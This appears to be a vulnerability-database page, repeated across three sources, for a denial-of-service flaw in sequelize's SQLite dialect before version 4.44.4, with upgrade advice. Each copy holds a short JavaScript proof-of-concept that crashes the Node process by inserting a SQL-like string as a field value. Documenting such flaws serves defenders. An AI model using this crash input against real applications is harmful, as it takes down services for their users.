GHSA-fw4p-36j9-rrj3
Denial of Service in sequelize
Versions of sequelize prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a TypeError exception for the results variable. The results value may be undefined and trigger the error on a .map call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.
The following proof-of-concept crashes the Node process:
const Sequelize = require('sequelize');
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'database.sqlite'
});
const TypeError = sequelize.define('TypeError', {
name: Sequelize.STRING,
});
TypeError.sync({force: true}).then(() => {
return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
Recommendation
Upgrade to version 4.44.4 or later.
What each source reports
GitHub AdvisoriesNo score
Denial of Service in sequelize
Versions of sequelize prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a TypeError exception for the results variable. The results value may be undefined and trigger the error on a .map call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.
The following proof-of-concept crashes the Node process:
const Sequelize = require('sequelize');
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'database.sqlite'
});
const TypeError = sequelize.define('TypeError', {
name: Sequelize.STRING,
});
TypeError.sync({force: true}).then(() => {
return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
Recommendation
Upgrade to version 4.44.4 or later.
- Record
GHSA-fw4p-36j9-rrj3- Weakness
- CWE-248
- Updated
- 2026-11-02
OSVNo score
Denial of Service in sequelize
Versions of sequelize prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a TypeError exception for the results variable. The results value may be undefined and trigger the error on a .map call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.
The following proof-of-concept crashes the Node process:
const Sequelize = require('sequelize');
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'database.sqlite'
});
const TypeError = sequelize.define('TypeError', {
name: Sequelize.STRING,
});
TypeError.sync({force: true}).then(() => {
return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
Recommendation
Upgrade to version 4.44.4 or later.
- Record
GHSA-fw4p-36j9-rrj3- Weakness
- CWE-248
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
sequelizenpm | before 4.44.4 | 4.44.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-fw4p-36j9-rrj3 is a vulnerability with no CVSS score yet in sequelize, published September 3, 2020. No source lists public exploit code. Fixed in sequelize 4.44.4.